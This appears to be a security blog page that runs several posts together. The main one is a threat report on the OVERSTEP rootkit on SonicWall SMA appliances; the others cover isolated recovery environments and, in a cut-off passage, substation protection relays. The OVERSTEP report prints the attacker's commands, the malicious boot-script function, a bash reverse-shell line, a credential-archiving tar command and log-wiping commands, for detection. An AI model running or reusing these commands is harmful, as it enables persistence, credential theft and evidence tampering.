The upcoming end-of-life for vSphere 7 in October 2025 means that vast numbers of organizations will not be able to receive product support, security patches and updates for a product that underpins Infrastructure. This presents a critical juncture for organizations and a perfect storm for threat actors. The transition away from vSphere 7 should be viewed as a key opportunity to re-architect for security, not merely a routine upgrade to implement new features and obtain support. Failure to proactively address these interconnected risks by implementing these recommended mitigations will leave organizations exposed to targeted attacks that can swiftly cripple their entire virtualized infrastructure, leading to operational disruption and financial loss. The time to adopt a resilient, defense-in-depth security posture to protect these critical vSphere environments is unequivocally now.

Written by: Josh Goddard, Zander Work, Dimiter Andonov

UPDATE (July 30): Added additional network IOC identified by Sonicwall as being associated with OVERSTEP. 

Introduction

Google Threat Intelligence Group (GTIG) has identified an ongoing campaign by a suspected financially-motivated threat actor we track as UNC6148, targeting fully patched end-of-life SonicWall Secure Mobile Access (SMA) 100 series appliances. GTIG assesses with high confidence that UNC6148 is leveraging credentials and one-time password (OTP) seeds stolen during previous intrusions, allowing them to regain access even after organizations have applied security updates. Evidence for the initial infection vector was limited, as the actor's malware is designed to selectively remove log entries, hindering forensic investigation; however, it is likely this was through the exploitation of known vulnerabilities.

In this new wave of activity, the actor has deployed a previously unknown persistent backdoor/user-mode rootkit, which GTIG tracks as OVERSTEP. Based on findings from Mandiant Incident Response engagements, our analysis shows this malware modifies the appliance's boot process to maintain persistent access, steal sensitive credentials, and conceal its own components. GTIG assesses with moderate confidence that UNC6148 may have used an unknown zero-day remote code execution vulnerability to deploy OVERSTEP on opportunistically targeted SonicWall SMA appliances.

GTIG assesses with moderate confidence that UNC6148's operations, dating back to at least October 2024, may be to enable data theft and extortion operations, and possibly ransomware deployment. An organization targeted by UNC6148 in May 2025 was posted to the "World Leaks" data leak site (DLS) in June 2025, and UNC6148 activity overlaps with publicly reported SonicWall exploitation from late 2023 and early 2024 that has been publicly linked to the deployment of Abyss-branded ransomware (tracked by GTIG as VSOCIETY).

Given the risk of recompromise using previously stolen credentials, organizations should follow the recommendations within this post to hunt for potential compromises and rotate all credentials, even if their appliances are fully patched. This blog post provides technical details on the OVERSTEP rootkit and the UNC6148 campaign to aid defenders in mitigating this threat.

Initial SMA Exploitation to Gain Administrator Credentials

Mandiant's first observations of UNC6148 in a recent investigation showed that they already had local administrator credentials to the targeted SMA 100 series appliance, and neither forensic evidence nor other data was identified to show how those credentials were obtained. GTIG assesses with high confidence that UNC6148 exploited a known vulnerability to steal administrator credentials prior to the targeted SMA appliance being updated to the latest firmware version (10.2.1.15-81sv), based on the patching timeline and public reporting of SonicWall n-day exploitation activity throughout 2025. Analysis of network traffic metadata records suggests that UNC6148 may have initially exfiltrated these credentials from the SMA appliance as early as January 2025.

Public reporting from SonicWall and multiple security firms has highlighted several different vulnerabilities that could possibly have been exploited by UNC6148:

• CVE-2021-20038: Unauthenticated remote code execution (SonicWall advisory, Truesec report, AttackerKB entry)

• This is a memory corruption vulnerability that can be executed to gain code execution; however, Rapid7's public exploit can make up to 200,000 HTTP requests and could take over an hour to execute, suggesting a widespread campaign may not take advantage of this vulnerability.

• Truesec identified this as a plausible entrypoint for intrusion activity they observed in late 2023 targeting a SonicWall SMA.

• CVE-2024-38475: Unauthenticated path traversal vulnerability in Apache HTTP Server, which affected the SMA 100 series (SonicWall advisory, Orange CyberDefense/SCRT blog post)

• This can be exploited on the SMA 100 series specifically to exfiltrate two different SQLite databases, temp.db and persist.db, which store sensitive information including user account credentials, session tokens, and OTP seed values.

• watchTowr published a blog post in May 2025 describing how this vulnerability can be chained with another bug, CVE-2023-44221, to compromise an SMA 100 series appliance; however, we did not identify any evidence suggesting this bug chain was used by UNC6148.

• CVE-2021-20035: Authenticated remote code execution vulnerability (SonicWall advisory, ArcticWolf report)

• This is a command injection vulnerability in the handler for /cgi-bin/sitecustomization POST requests.

• Arctic Wolf and SonicWall reported on this vulnerability being exploited in the wild in April 2025.

• CVE-2021-20039: Authenticated remote code execution vulnerability (SonicWall advisory, dfir.ch blog post, AttackerKB entry)

• This is a command injection vulnerability in the request handler for /cgi-bin/viewcert.

• dfir.ch reported this vulnerability being used to exploit SonicWall SMAs in an intrusion that led to the deployment of Abyss-branded ransomware in March 2024, with similar intrusion artifacts to Mandiant's investigation.

• CVE-2025-32819: Authenticated file deletion vulnerability (SonicWall advisory, Rapid7 report)

• Using a crafted HTTP request, this vulnerability can be exploited to cause a targeted SonicWall SMA to revert the built-in administrator credentials to password, granting the attacker administrator access.

There are several different paths UNC6148 could have taken with the aforementioned vulnerabilities, or possibly a different vulnerability not mentioned here. CVE-2024-38475 would have provided local administrator credentials and valid session tokens that UNC6148 could reuse, making it an attractive target, but Mandiant was not able to confirm abuse of that vulnerability. Exploitation of the previously mentioned authenticated bugs would require UNC6148 to already have some level of credentials to the SMA appliance, making them less likely to have been abused, but still worth mentioning due to their in-the-wild exploited status. It is also possible that credentials could have been obtained through infostealer logs or credential marketplaces, but GTIG was unable to identify any direct credential exposure related to the abused SMA appliance credentials.

Subsequent SMA Compromise and OVERSTEP Deployment

Mandiant's aforementioned investigation showed that in June 2025, UNC6148 established a Secure Sockets Layer virtual private network (SSL VPN) session on the targeted SMA 100 series appliance using the mentioned local administrator credentials from a BitLaunch (BLNWX) VPS (193.149.180.50). 

Once the SSL VPN session was established, the attacker spawned a reverse shell on the targeted SMA appliance. Shell access should not be possible by design on these appliances, and Mandiant's joint investigation with the SonicWall Product Security Incident Response Team (PSIRT) did not identify how UNC6148 established this reverse shell. It's possible the reverse shell was established via exploitation of an unknown vulnerability by UNC6148.

Through the reverse shell, UNC6148 performed initial reconnaissance and file manipulation using a variety of built-in system binaries such as cat, chmod, cp, date, hostname, mkdir, mount, mv, and rm. Mandiant also observed the actor export and import settings to the SMA appliance, along with new network access control policy rules created for IP addresses used by UNC6148, suggesting they may have modified an exported settings file offline to include new rules for their infrastructure to ensure uninterrupted operations.

Following this initial activity, the attacker deployed the OVERSTEP backdoor. This process involved executing a series of commands to decode the binary from Base64 into the persistent /cf directory with the filename xxx.elf, moving it to /usr/lib/libsamba-errors.so.6, and ensuring persistence by adding its path to /etc/ld.so.preload.

cd /cf; touch xxx.elf; openssl enc -base64 -d [REDACTED] >>xxx.elf; chmod 777 /usr/lib/libsamba-errors.so.6; touch -c /usr/lib/libsamba-errors.so.6 -r echo /usr/lib/libsamba-errors.so.6 > /etc/ld.so.preload; chown root:root /usr/lib/libsamba-errors.so.6; chmod 777 /usr/lib/libsamba-errors.so.6; touch -c /usr/lib/libsamba-errors.so.6 -r echo /usr/lib/libsamba-errors.so.6 > /etc/ld.so.preload; arp

Figure 1: Selection of attacker shell commands executed on the appliance

Next, UNC6148 modified the legitimate RC file /etc/rc.d/rc.fwboot to achieve persistence for OVERSTEP. The changes meant that whenever the appliance was rebooted, the OVERSTEP binary would be loaded into the running filesystem on the appliance. Specifically, the bootCurrentFirmware function in the rc.fwboot script was modified to include code that performed the following:

• Created a temporary directory named zzz within the present firmware directory. This directory served as a staging area to unpack, modify, and repack the INITRD image. It was a preparatory step for injecting malicious content without directly overwriting critical system files during runtime.

• Decompressed the INITRD.GZ file, which was the compressed initial RAM disk image. The decompressed file was named INITRD, which contains the minimal root filesystem that is loaded into memory during the boot process before the actual root filesystem is mounted. Modifying this image allowed the attacker to inject malicious files that will be present and executable early in the boot sequence, making it difficult to detect and remove.

• Mounted the decompressed INITRD file as a loop device to the newly created $fwLoc/zzz directory. This made the contents of the INITRD file accessible and modifiable as if it were a regular filesystem. This was an important step that allowed the script to browse and modify the contents of the initial RAM disk.

• Copied the file libsamba-errors.so.6 from /cf/ into the mounted INITRD directory /usr/lib/.

• Changed the owner and group of the file libsamba-errors.so.6 to root:root. This sets the permissions to mimic legitimate system libraries, which are typically owned by root.

• Changed the file permissions of the copied malicious library to 0777 (read, write, and execute for owner, group, and others).

• Employed a timestomping technique, attempting to copy the modification timestamp from the legitimate file libsamba-errors.so to the malicious file libsamba-errors.so.6. The goal was to make the malicious file appear as if it were part of the original system installation, thereby hindering detection and investigation.

• Wrote the path to the malicious file /usr/lib/libsamba-errors.so.6 into the ld.so.preload file located within the INITRD directory /etc/. This causes dynamic executables to load the OVERSTEP shared object file, providing persistence and privileged execution in system processes.

• Cleaned up temporary modifications, including:

• Flushing pending disk writes to ensure all changes to the INITRD file were saved

• Unmounting the INITRD file from the temporary directory

• Recompressing the modified INITRD file

• Removing the temporary directory

• Renamed the newly compressed INITRD to INITRD.GZ, matching the expected filename.

• Changed the timestamps of the modified INITRD.GZ file to match those of the kernel image file, BZIMAGE. This was another timestomping operation to hinder detection and investigation. 

• Loaded the kernel image BZIMAGE and the modified initial RAM disk, INITRD.GZ, into memory for a new kernel execution. It also appended kernel boot options from LINUX.OPT. This prepared the system to boot into the modified firmware. The use of kexec allowed the running Linux kernel to boot another Linux kernel without a full hardware reboot.

• Executed the newly loaded kernel by initiating a soft reboot.

In summary, the code took advantage of the system's boot process to inject a persistent rootkit. By modifying the INITRD file and leveraging ld.so.preload, the attacker ensured their malicious code would be loaded and executed every time any dynamic executable starts, providing them with privileged and persistence control of the appliance.

function bootCurrentFirmware() { echo "$FUNCNAME: begin" >> $LOGFILE fwLoc=/cf/firmware/current if [ ! -f $fwLoc/BZIMAGE ]; then echo "Can't locate the kernel image" >> $LOGFILE; elif [ -f $fwLoc/INITRD ]; then echo "Can't locate the filesystem image" >> $LOGFILE; else mkdir $fwLoc/zzz gzip -d $fwLoc/INITRD.GZ mount -o loop $fwLoc/INITRD $fwLoc/zzz cp /cf/libsamba-errors.so.6 $fwLoc/zzz/usr/lib/libsamba-errors.so.6 chown root:root $fwLoc/zzz/usr/lib/libsamba-errors.so.6 chmod 777 $fwLoc/zzz/usr/lib/libsamba-errors.so.6 touch -c $fwLoc/zzz/usr/lib/libsamba-errors.so.6 -r $fwLoc/zzz/usr/lib/libsamba-errors.so echo /usr/lib/libsamba-errors.so.6 > $fwLoc/zzz/etc/ld.so.preload sync; umount $fwLoc/zzz; sync; gzip $fwLoc/INITRD; rm -rf $fwLoc/zzz mv $fwLoc/INITRD.gz $fwLoc/INITRD.GZ; touch -c $fwLoc/INITRD.GZ -r $fwLoc/BZIMAGE /usr/local/sbin/kexec -l $fwLoc/BZIMAGE --initrd=$fwLoc/INITRD.GZ --append="`cat $fwLoc/LINUX.OPT`" /usr/local/sbin/kexec -e; fi echo "$FUNCNAME: end" >> $LOGFILE }

Figure 2: Modified function in the rc.fwboot file to provide persistence for OVERSTEP

Once the deployment of OVERSTEP was complete, the threat actor cleared the system logs and rebooted the appliance to trigger the execution of OVERSTEP.

Analysis of OVERSTEP

OVERSTEP is a backdoor written in C, designed for SonicWall SMA 100 series appliances; observed samples have been compiled as a 32-bit ELF shared object for the Intel x86 architecture. This shared object is designed to be loaded into processes via the /etc/ld.so.preload file. When preloaded in this manner, the malicious library is mapped into the address space of subsequently launched processes. This preloading enables the malware to hijack standard library functions—specifically open, open64, readdir, readdir64, and write—by ensuring these symbols are resolved from the malicious shared object before the legitimate system libraries. The backdoor's primary functionalities are to establish a reverse shell and exfiltrate passwords from the compromised host. Additionally, the malware implements usermode rootkit capabilities by leveraging its hooked file system-related functions (open, open64, readdir, readdir64) to effectively hide its components on the host. Communications with the command-and-control (C2 or C&C) server are indirect, relying on parsing commands from buffers intercepted by the malicious write API.

The path to the malicious shared object was added to the /etc/ld.so.preload file, which effectively ensures the malware will persist on the compromised appliance. Due to its inclusion in the /etc/ld.so.preload file, the malware's shared object is mapped into every new process executed on the compromised system. Upon being mapped, the malware gains execution through its initialization routine, specifically via its exported my_init function. This my_init function then sets the FS_IMMUTABLE_FL flag on /etc/ld.so.preload, effectively preventing its modification, deletion, renaming, or the creation of links to it. This preloading mechanism enables the malware to perform LD_PRELOAD hijacking, interposing its own versions of the following standard library functions: open, open64, readdir, readdir64, and write. The hijacked open* and readdir* APIs are leveraged to implement a usermode rootkit, concealing the malware's presence and components. The core backdoor functionality, conversely, is implemented within the hooked write function. The rootkit and backdoor functionalities are described in greater detail in the subsequent sections.

Usermode Rootkit

The hijacked open and open64 API functions, which typically specify a file path and access mode, are manipulated by the malware. The malware's implementation of these functions checks if the requested file path is /etc/ld.so.preload. If a match occurs, it returns an error code, thereby preventing any process on the compromised system from opening this critical file.

The hijacked readdir and readdir64 API functions are used to conceal the following artifacts from directory listings:

• /proc entries related to bash, sh, or ssh 

• libsamba-errors.so.6 (the filename of the malware observed on this particular system) 

• /etc/ld.so.preload

Backdoor

The backdoor's command execution mechanism is centered on its hijacked write API function. The standard write API receives a buffer containing data destined for an I/O stream. In this implementation, the malicious write function examines the first 1024 bytes of this buffer, searching for the command strings dobackshell or dopasswords. If either string is detected, the malware expects to find associated command parameters immediately following it.

• dobackshell

  • Starts a reverse shell using the command bash -i >& /dev/tcp/<ip>/<port> 0>&1 &.

  • Parameters: IP address and port.

• dopasswords

  • Creates a TAR archive with the provided <filename>, bundling sensitive files using the command in Figure 3. Notably, the TAR archive is saved in the web-accessible directory /usr/src/EasyAccess/www/htdocs with permissive 777 permissions. This allows an attacker to download the archive via a web browser.
  • Parameters: Filename of the TAR archive.

tar czfP /usr/src/EasyAccess/www/htdocs/<filename>.tgz /tmp/temp.db /etc/EasyAccess/var/conf/persist.db /etc/EasyAccess/var/cert; chmod 777 /usr/src/EasyAccess/www/htdocs/<filename>.tgz

Figure 3: Shell commands executed by the dopasswords OVERSTEP command

Following the parsing and execution of a command, the malware attempts to remove corresponding entries from affected log files. This cleanup is performed using the sed command: sed -i '/<cmd>/d' /var/log/<log_file>, where <cmd> is either dobackshell or dopasswords. The targeted <log_file> can be httpd.log, http_request.log, or inotify.log. This log cleaning process is only initiated if the malware can successfully elevate its privileges by setting its UID and GID to 0.

Receiving Commands

The malware was designed to receive commands embedded within web requests. For instance, a legitimate httpd server might receive a URL (e.g., https://<compromised_server>/query?q=dobackshell<params>) containing the command and its parameters. The server would then attempt to log this request to files such as httpd.log, http_request.log, or inotify.log. At this juncture, because the malicious shared object is preloaded into the httpd process's address space, the call to write is intercepted. The malicious write function then parses the log data and dispatches any recognized command. While, technically, write operations from any process could be used to deliver commands, this web server log vector is likely the intended and most practical method from an attacker's perspective.

Risk and Post-Compromise Activities

In our investigations, GTIG observed beaconing traffic from compromised appliances, but we did not identify notable post-compromise activities. The actor's success in hiding their tracks is largely due to OVERSTEP's capability to selectively delete log entries from httpd.log, http_request.log, and inotify.log. This anti-forensic measure, combined with a lack of shell history on disk, significantly reduces visibility into the actor's secondary objectives.

The primary risk stems from OVERSTEP's functionality to steal sensitive files. Its ability to exfiltrate the persist.db database and certificate files from the /etc/EasyAccess/var/cert directory gives the attacker credentials, OTP seeds, and certificates. While we did not directly observe the weaponization of this stolen data, it creates a clear path for persistent access.

Impacted organizations should rotate all secrets stored on the appliances and follow the recommendations in this article.

Wider Context and Campaigns

This campaign extends beyond the incidents GTIG directly investigated. We have identified targeting of other SonicWall SMA appliances by UNC6148, including possible scanning activity dating back to at least October 2024. Our findings are also supported by SonicWall, which has confirmed reports of other impacted organizations and subsequently updated its advisory for CVE-2024-38475 to recommend OTP seed rotation.

While GTIG has not directly observed monetization or other end-stage goals associated with this campaign, analysis of historical network telemetry data revealed traffic involving an SMA 100 series appliance in May 2025 affiliated with an organization that later appeared on the "World Leaks" DLS in June 2025; however, we cannot rule out coincidental overlap at this time.

Additionally, UNC6148 activity has noteworthy overlaps with historical analysis from Truesec and dfir.ch, which involved the deployment of Abyss-branded ransomware. These overlaps, which suggest that UNC6148 is the same actor or a related one, further indicate that these intrusions could ultimately lead to data extortion and ransomware deployment.

• The OVERSTEP backdoor and deployment mechanism observed by Mandiant appears to be a direct evolution of the wafxSummary tool reported by Truesec in late 2023.

• A dfir.ch blog post from early 2024 describes an intrusion where nearly a year went by between the deployment of the wafxSummary tool Truesec wrote about, and the deployment of Abyss-branded ransomware. This is consistent with the 6-month+ time gap between initial UNC6148 activity and the deployment of OVERSTEP in our recent investigation.

Recommendations

GTIG recommends that all organizations with SMA appliances perform analysis to determine if they have been compromised. Organizations should acquire disk images for forensic analysis to avoid interference from the rootkit anti-forensic capabilities. Organizations may need to engage with SonicWall to capture disk images from physical appliances.

Hunting and Detection

Defenders should analyze disk images and peripheral log sources for the following signs of compromise:

• File System Artifacts

• Presence of any indicators of compromise (IOCs) listed in this report.

• Unexpected binaries within the persistent /cf directory or within INITRD files, especially in the /usr/lib directory. In our investigations, GTIG observed OVERSTEP residing in these directories.

• Presence of the file /etc/ld.so.preload on a disk image. This file should not exist on a standard SMA appliance, and the rootkit will hide it from a live system.

• Malicious modifications to RC scripts, most notably the /etc/rc.d/rc.fwboot script.

• Files with irregular timestamps within the INITRD image (/cf/firmware/).

• Log and Network Analysis

• Web requests to the appliance containing dobackshell or dopasswords in the URL query.

• Appliance event logs showing VPN sessions from external IP addresses (especially from low-reputation networks like BLNWX) using administrator accounts.

• Outbound HTTP network traffic from the appliance to external IP addresses.

• Log entries for Current settings exported, Current settings imported, or Clear all logs manually occurring outside of scheduled maintenance windows.

• Irregular activity or threats within other log files from the appliances, including from inside the FLASH.DAT files (current and backup).

• Evidence of lateral movement, primarily over Secure Shell (SSH), from the SMA appliance to other systems in the environment.

Containment and Eradication

If evidence of compromise is detected, organizations should take immediate steps to contain the threat.

• Isolate the affected appliance from the network to prevent further malicious activity.

• Preserve disk images and telemetry for a full forensic investigation.

• Because the full extent of an actor's activity can be difficult to determine, GTIG recommends engaging Mandiant Incident Response for a thorough investigation to ensure complete scoping and eradication.

Hardening and Mitigation

To mitigate the immediate threat and harden appliances against future attacks, organizations should:

• Reset all credentials, including passwords and OTP bindings for all local and directory users on the appliance. This is the most critical step to invalidate secrets stolen in previous compromises.

• Revoke and reissue any certificates with private keys stored on the appliance.

Indicators of Compromise (IOCs) Host-Based IOCs

Path(s)

SHA256 Hash

Description

/cf/xxx.elf/cf/libsamba-errors.so.6/usr/lib/libsamba-errors.so.6

b28d57269fe4cd90d1650bde5e905611
6de26d211966262e59359d0e2a67d473

OVERSTEP

/etc/rc.d/rc.fwboot

f0e0db06ca665907770e2202957d3ecc
d5a070acac1debaf0889d0d48c10e149

Modified legitimate boot RC file

Network-Based IOCs

Indicator

Description

193.149.180.50

Source of VPN sessions where compromise occurred (used by UNC6148 between at least May 2025 and June 2025)

64.52.80.80

Reverse shell IP (used by UNC6148 between at least February 2025 and June 2025)

193.149.176.230

Identified by SonicWall as triggering the OVERSTEP backdoor in July 2025

Detections YARA Rule rule G_Backdoor_OVERSTEP_1 { meta: author = "Google Threat Intelligence Group" date_created = "2025-06-03" date_modified = "2025-06-03" rev = 1 strings: $s1 = "dobackshell" $s2 = "dopasswords" $s3 = "bash -i >& /dev/tcp/%s 0>&1 &" $s4 = "tar czfP /usr/src/EasyAccess/www/htdocs/%s.tgz /tmp/temp.db /etc/EasyAccess/var/conf/persist.db /etc/EasyAccess/var/cert; chmod 777" $s5 = "/etc/ld.so.preload" $s6 = "libsamba-errors.so.6" condition: uint32(0) == 0x464c457f and filesize < 2MB and 4 of them }

Written by: Jaysn Rye

Executive Summary

As adversaries grow faster, stealthier, and more destructive, traditional recovery strategies are increasingly insufficient. Mandiant's M-Trends 2025 report reinforces this shift, highlighting that ransomware operators now routinely target not just production systems but also backups. This evolution demands that organizations re-evaluate their resilience posture. One approach gaining traction is the implementation of an isolated recovery environment (IRE)—a secure, logically separated environment built to enable reliable recovery even when an organization's primary network has been compromised.

This blog post outlines why IREs matter, how they differ from conventional disaster recovery strategies, and what practical steps enterprises can take to implement them effectively.

The Backup Blind Spot

Most organizations assume that regular backups equal resilience; however, that assumption doesn't hold up against today's threat landscape. Ransomware actors and state-sponsored adversaries are increasingly targeting backup infrastructure directly, encrypting, deleting, or corrupting it to prevent recovery and increase leverage.

The M-Trends 2025 report reveals that in nearly half of ransomware intrusions, adversaries used legitimate remote management tools to disable security controls and gain persistence. In these scenarios, the compromise often extends to backup systems, especially those accessible from the main domain.

Figure 1: Observed tools in 2024 ransomware-related investigations (source: M-Trends 2025)

In short: your backup isn't safe if it's reachable from your production network. During an active incident, that makes it irrelevant.

What Is an Isolated Recovery Environment?

An isolated recovery environment (IRE) is a secure enclave designed to store immutable copies of backups and provide a secure space to validate restored workloads and rebuild in parallel while incident responders carry out the forensic investigation. Unlike traditional disaster recovery solutions, which often rely on replication between live environments, an IRE is logically and physically separated from production.

At its core, an IRE is about assuming a breach has occurred and planning for the moment when your primary environment is lost, ensuring you have a clean fallback that hasn't been touched by the adversary.

Key Characteristics of an IRE

• Separation of infrastructure and access: The IRE must be isolated from the corporate environment. No shared authentication, no shared tooling, no shared infrastructure or services, no persistent network links or direct TCP/IP connections between the production environment and the IRE.
• Restricted administrative workflows: Day-to-day access is disallowed. Only break-glass, documented processes exist for access during validation or recovery.
• Known-good, validated artifacts: Data entering the IRE must be scanned, verified, and stored with cryptographic integrity checks all while maintaining the isolation controls.
• Validation environment and tools: The IRE must also include a secured network environment, which can be used by security teams to validate restored workloads and remove any identified attacker remnants.
• Recovery-ready templates: Rather than restoring single machines, the IRE should support the rapid rebuild of critical systems in isolation with predefined procedures.

Implementation Strategy

Successfully implementing an IRE is not a checkbox exercise. It requires coordination between security, infrastructure, identity management, and business continuity teams. The following breaks down the major building blocks and considerations.

Infrastructure Segmentation and Physical Isolation

The foundational principle behind an IRE is separation. The environment must not share any critical infrastructure, identity, network, hypervisors, storage, or other services with the production environment. In most cases, this means:

• Dedicated platforms (on-premises or cloud based) and tightly controlled virtualization platforms

• No routable paths from production to the IRE network

• Physical air-gaps or highly restricted one-way replication mechanisms

• Independent DNS, DHCP, and identity services

Figure 2 illustrates the permitted flows into and within the IRE.

Figure 2: Typical IRE architecture

Identity and Access Control

Identity is the primary attack vector in many intrusions. An IRE must establish its own identity plane:

• No trust relationships to production Active Directory

• No shared local or domain accounts

• All administrative access must require phishing resistant multi-factor authentication (MFA)

• All administrative access should be via hardened Privileged Access Workstations (PAW) from within the IRE

• Where possible, implement just-in-time (JIT) access with full audit logging

Accounts used to manage the IRE should not have any ties to the production environment; this includes being used from a device belonging to the production domain. These accounts must be used from a dedicated PAW.

Secure Administration Flows

Administrative access is often the weak link that attackers exploit. That's why an IRE must be designed with tight control over how it's managed, especially during a crisis.

In the following model, all administrative access is performed from a dedicated PAW. This workstation sits inside an isolated management zone and is the only system permitted to access the IRE's core components.

Here's how it works:

• No production systems, including IT admin workstations, are allowed to directly reach the IRE. These paths are completely blocked.

• The PAW manages the IRE's:

• Isolated Data Vault, where validated backups are stored.

• Management Plane, which includes IRE services such as Active Directory, DNS, PAM, backup, and recovery systems.

• Green VLAN, which hosts rebuilt Tier-0 and Tier-1 infrastructure.

• Any restored services go first into a yellow staging VLAN, a controlled quarantine zone with no east-west traffic. Systems must be verified clean before moving into the production-ready green VLAN. Remote access to machines in the yellow VLAN is restricted to console only access (hypervisor or iLO consoles) from the PAW. No direct RDP/SSH is permitted.

This design ensures that even during a compromise of the production environment, attackers can't pivot into the recovery environment. All privileged actions are audited, isolated, and console-restricted, giving defenders a clean space to rebuild from.

Figure 3: Permitted administration paths

One-Way Replication and Immutable Storage

How data enters the IRE is just as important as how it's managed. Backups that are copied into the data transfer zone must be treated as potentially hostile until proven otherwise.

To mitigate risk:

• Data must flow in only one direction, from production to IRE, never the other way around.*

• This is typically achieved using data diodes or time-gated software replication that enforces unidirectional movement and session expiry.

• Ingested data lands in a staging zone where it undergoes:

• Hash verification against expected values.

• Malware scanning, using both signature and behavioural analysis.

• Cross-checks against known-good backup baselines (e.g., file structure, size, time delta).

Once validated, data is committed to immutable storage, often in the form of Write Once, Read Many (WORM) volumes or cloud object storage with compliance-mode object locking. Keys for encryption and retention are not shared with production and must be managed via an isolated KMS or HSM.

The goal is to ensure that even if an attacker compromises your primary backup system, they cannot alter or delete what's been stored in the IRE.

*Depending on overall recovery strategies, it's possible that restored workloads may need to move from the IRE back to a rebuilt production environment. 

Recovery Workflows and Drills

An IRE is only useful if it enables recovery under pressure. That means planning and testing full restoration of core services. Effective IRE implementations include:

• Templates for rebuilding domain controllers, authentication services, and core applications

• Automated provisioning of VMs or containers within the IRE

• Access to disaster recovery runbooks that can be followed by incident responders

• Scheduled tabletop and full-scale recovery exercises (e.g., quarterly or bi-annually)

Many organizations discover during their first exercise that their documentation is out of date or their backups are incomplete. Recovery drills allow these issues to surface before a real incident forces them into view.

Hash Chaining and Log Integrity

If you're relying on the IRE for forensic investigation as well as recovery, it's essential to ensure the integrity of system logs and metadata. This is where hash chaining becomes important.

• Implement hash chaining on logs stored in the IRE to detect tampering.

• Apply digital signatures from trusted, offline keys.

• Regularly verify the chain against trusted checkpoints.

This ensures that during an incident, you can prove not only what happened but also that your evidence hasn't been modified, either by an attacker or by accident.

Choosing the Right IRE Deployment Model

The right model depends on your environment, compliance obligations, and team maturity.

Model

Advantages

Challenges

On-Premises

Full control, better for air-gapped environments

Higher CapEx, longer provisioning time, less flexibility

Cloud

Faster provisioning, built-in automation, easier to test

Requires strong cloud security maturity and IAM separation

Hybrid

Local speed + cloud resilience; ideal for large orgs with critical workloads

More complex design; requires secure identity split and replication paths

Common Pitfalls

• Over-engineering for normal operations: The IRE is not a sandbox. Avoid mission creep.

• Using the IRE beyond cyber recovery: The IRE is not for DR testing, HA, or daily operations. Any non-incident use risks breaking its isolation and trust model.

• Assuming cloud equals isolation: Isolation requires deliberate configuration. Cloud tenancy is not enough.

• Neglecting insider threats: The IRE must defend against sabotage from inside the organization, not just ransomware.

Closing Thoughts

As attackers accelerate and the blast radius of intrusions expands, the need for trusted, tamper-proof recovery options becomes clear. An isolated recovery environment is not just a backup strategy, it is a resilience strategy.

It assumes breach. It accepts that visibility may be lost during a crisis. And it gives defenders a place to regroup, investigate, and rebuild.

The Mandiant M-Trends 2025 report makes it clear; the cost of ransomware isn't just in ransom paid, but in days or weeks of downtime, regulatory penalties, and reputation loss. The cost of building an IRE is less than a breach, and the peace of mind it offers is far greater.

For deeper technical guidance on building secure recovery workflows or assessing your current recovery posture, Mandiant Consulting offers strategic workshops and assessment services.

Acknowledgment

A special thanks to Glenn Staniforth for their contributions.

Written by: Seemant Bisht, Chris Sistrunk, Shishir Gupta, Anthony Candarini, Glen Chason, Camille Felx Leduc

Introduction — Why Securing Protection Relays Matters More Than Ever

Substations are critical nexus points in the power grid, transforming high-voltage electricity to ensure its safe and efficient delivery from power plants to millions of end-users. At the core of a modern substation lies the protection relay: an intelligent electronic device (IED) that plays a critical role in maintaining the stability of the power grid by continuously monitoring voltage, current, frequency, and phase angle. Upon detecting a fault, it instantly isolates the affected zone by tripping circuit breakers, thus preventing equipment damage, fire hazards, and cascading power outages.

As substations become more digitized, incorporating IEC 61850, Ethernet, USB, and remote interfaces, relays are no longer isolated devices, but networked elements in a broader SCADA network. While this enhances visibility and control, it also exposes relays to digital manipulation and cyber threats. If compromised, a relay can be used to issue false trip commands, alter breaker logic, and disable fault zones. Attackers can stealthily modify vendor-specific logic, embed persistent changes, and even erase logs to avoid detection. A coordinated attack against multiple critical relays can lead to a cascading failure across the grid, potentially causing a large-scale blackout.

This threat is not theoretical. State-sponsored adversaries have repeatedly demonstrated their capability to cause widespread blackouts, as seen in the INDUSTROYER (2016), INDUSTROYER.V2 (2022), and novel living-off-the-land technique (2022) attacks in Ukraine, where they issued unauthorized commands over standard grid protocols. The attack surface extends beyond operational protocols to the very tools engineers rely on; as Claroty's Team82 revealed a denial-of-service vulnerability in Siemens DIGSI 4 configuration software. Furthermore, the discovery of malware toolkits like INCONTROLLER shows attackers are developing specialized capabilities to map, manipulate, and disable protection schemes across multiple vendors.

Recent events have further underscored the reality of these threats, with the U.S. government warning of heightened risks of Iranian cyberattacks targeting vital networks in the wake of geopolitical tensions. Iran-nexus threat actors such as UNC5691 (aka CyberAv3ngers) have a history of targeting operational technology, in some cases including U.S. water facilities. Similarly, persistent threats from China, such as UNC5135, which at least partially overlaps with publicly reported Volt Typhoon activity, demonstrate a strategic effort to embed within U.S. critical infrastructure for potential future disruptive or destructive cyberattacks. The tactics of these adversaries, which range from exploiting weak credentials to manipulating the very logic of protection devices, make the security of protection relays a paramount concern.

These public incidents mirror the findings from our own Operational Technology (OT) Red Team simulations, which consistently reveal accessible remote pathways into local substation networks and underscore the potential for adversaries to manipulate protection relays within national power grids.

Protection relays are high-value devices, and prime targets for cyber-physical attacks targeting substation automation systems and grid management systems. Securing protection relays is no longer just a best practice; it's absolutely essential for ensuring the resilience of both transmission and distribution power grids.

Inside a Substation — Components and Connectivity

To fully grasp the role of protection relays within the substation, it's important to understand the broader ecosystem they operate in. Modern substations are no longer purely electrical domains. They are cyber-physical environments where IEDs, deterministic networking, and real-time data exchange work in concert to deliver grid reliability, protection, and control.

Core Components

• Protection & Control Relays (IEDs): Devices such as the SEL-451, Hitachi REL670, GE D60, and Siemens 7SJ85 serve as the brains of both protection and control. They monitor current, voltage, frequency, and phase angle, and execute protection schemes like:

• Overcurrent (ANSI 50/51)

• Distance protection (ANSI 21)

• Differential protection (ANSI 87)

• Under/over-frequency (ANSI 81)

• Synch-check (ANSI 25) 

• Auto-reclose (ANSI 79)

• Breaker failure protection (ANSI 50BF)

• Logic-based automation and lockout (e.g., ANSI 94)
  
  (Note: These ANSI function numbers follow the IEEE Standard C37.2 and are universally used across vendors to denote protective functions.)

• Circuit Breakers & Disconnectors: High-voltage switching devices operated by relays to interrupt fault current or reconfigure line sections. Disconnectors provide mechanical isolation and are often interlocked with breaker status to prevent unsafe operation.

• Current Transformers (CTs) & Potential Transformers (PTs): Instrument transformers that step down high voltage and current for safe and precise measurement. These form the primary sensing inputs for protection and metering functions.

• Station Human-Machine Interfaces (HMIs): Provide local visualization and control for operators. HMIs typically connect to relay networks via the station bus, offering override, acknowledgment, and command functions without needing SCADA intervention.

